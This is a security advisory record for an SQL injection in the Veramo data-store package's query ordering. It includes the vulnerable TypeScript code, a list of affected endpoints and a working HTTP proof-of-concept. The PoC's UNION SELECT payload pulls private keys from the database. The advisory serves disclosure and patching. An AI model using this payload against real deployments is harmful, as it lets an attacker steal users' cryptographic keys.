{"id":"GHSA-38cw-85xc-xr9x","aliases":[],"url":"https://o3.security/vulnerability/GHSA-38cw-85xc-xr9x","summary":"Veramo is Vulnerable to SQL Injection in Veramo Data Store ORM","details":"## Summary\n\nAn SQL injection vulnerability exists in the `@veramo/data-store` package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the `column` parameter in the `order` array of query requests.\n\n## Details\n\n`packages/data-store/src/data-store-orm.ts` (lines 416-434)\n\nThe vulnerability exists in the `decorateQB()` function which processes query ordering parameters:\n\n```typescript\nfunction decorateQB(\n  qb: SelectQueryBuilder<any>,\n  tableName: string,\n  input: FindArgs<any>,\n): SelectQueryBuilder<any> {\n  if (input?.skip) qb = qb.offset(input.skip)\n  if (input?.take) qb = qb.limit(input.take)\n\n  if (input?.order) {\n    for (const item of input.order) {\n      qb = qb.addSelect(\n        qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column),\n        item.column,\n      )\n      qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction)\n    }\n  }\n  return qb\n}\n```\n\n**Root Cause:**\n\n1. The `item.column` value from user input is passed directly as the **alias** parameter to `addSelect()` without any sanitization or validation\n2. While TypeScript defines allowed column types (e.g., `TCredentialColumns = 'context' | 'type' | ...`), this is only compile-time checking\n3. At runtime, the function accepts `FindArgs<any>`, allowing arbitrary strings to bypass type restrictions\n4. TypeORM inserts the alias directly into the SQL query, enabling SQL injection\n\n**Affected Endpoints:**\n\nAll endpoints are located in `packages/data-store/src/data-store-orm.ts`:\n\n| Endpoint | Method | Line |\n|----------|--------|------|\n| `dataStoreORMGetIdentifiers` | identifiersQuery() | 85-98 |\n| `dataStoreORMGetMessages` | messagesQuery() | 129-153 |\n| `dataStoreORMGetVerifiableCredentialsByClaims` | claimsQuery() | 168-198 |\n| `dataStoreORMGetVerifiableCredentials` | credentialsQuery() | 227-252 |\n| `dataStoreORMGetVerifiablePresentations` | presentationsQuery() | 275-297 |\n\nAll these methods call `decorateQB()` which processes the vulnerable `order` parameter.\n\n## PoC\n\n**Prerequisites:**\n\n- A running Veramo agent with the REST API exposed (e.g., via `@veramo/remote-server`)\n- Valid authentication credentials (Bearer token)\n- The agent uses `@veramo/data-store` with a SQLite or compatible database\n\n**Example Exploit to Extract Private Keys From DB:**\n\n```http\nPOST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1\nHost: localhost:3332\nContent-Length: 811\nAuthorization: Bearer test123\nContent-Type: application/json\n\n{ \"where\":[\n    {\n      \"value\": [\n        \"string\"\n      ],\n      \"not\": true,\n      \"op\": \"foo\",\n\"column\":\"bar\"\n    }\n  ],\n \n  \"skip\": 0,\n  \"take\": 11111232323230,\n\"order\": [\n    {\n      \"direction\": \"ASC\",\"column\":\"issuanceDate\\\" AS \\\"issuanceDate\\\" FROM \\\"claim\\\" \\\"claim\\\" LEFT JOIN \\\"identifier\\\" \\\"issuer\\\" ON \\\"issuer\\\".\\\"did\\\"=\\\"claim\\\".\\\"issuerDid\\\"  LEFT JOIN \\\"identifier\\\" \\\"subject\\\" ON \\\"subject\\\".\\\"did\\\"=\\\"claim\\\".\\\"subjectDid\\\"  LEFT JOIN \\\"credential\\\" \\\"credential\\\" ON \\\"credential\\\".\\\"hash\\\"=\\\"claim\\\".\\\"credentialHash\\\" where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object('alias', alias, 'type', type, 'privateKeyHex', privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -\"\n    }\n  ]\n}\n```\n\nsimilar exploit could be used against the other affected endpoints\n\n## Impact\n\n**Attack capabilities:**\n\n- Complete database read access\n- Reading or write files into fs depending on dbms used\n- Database-specific escalation paths\n- Dos through timebased or multiple long running queries","published":"2026-01-16T21:04:12Z","modified":"2026-02-03T03:17:09.234448Z","cvss":{"score":6.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@veramo/data-store","fixedVersion":"6.0.2"}],"fix":{"url":"https://github.com/decentralized-identity/veramo/pull/1482","label":"decentralized-identity/veramo#1482"},"references":[{"type":"WEB","url":"https://github.com/decentralized-identity/veramo/security/advisories/GHSA-38cw-85xc-xr9x"},{"type":"WEB","url":"https://github.com/decentralized-identity/veramo/pull/1482"},{"type":"WEB","url":"https://github.com/decentralized-identity/veramo/commit/067e39dd76f11ee2d25b99c8361d4f02a4223e3b"},{"type":"PACKAGE","url":"https://github.com/decentralized-identity/veramo"},{"type":"WEB","url":"https://github.com/decentralized-identity/veramo/releases/tag/v6.0.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-02-03T03:17:09.234448Z"}}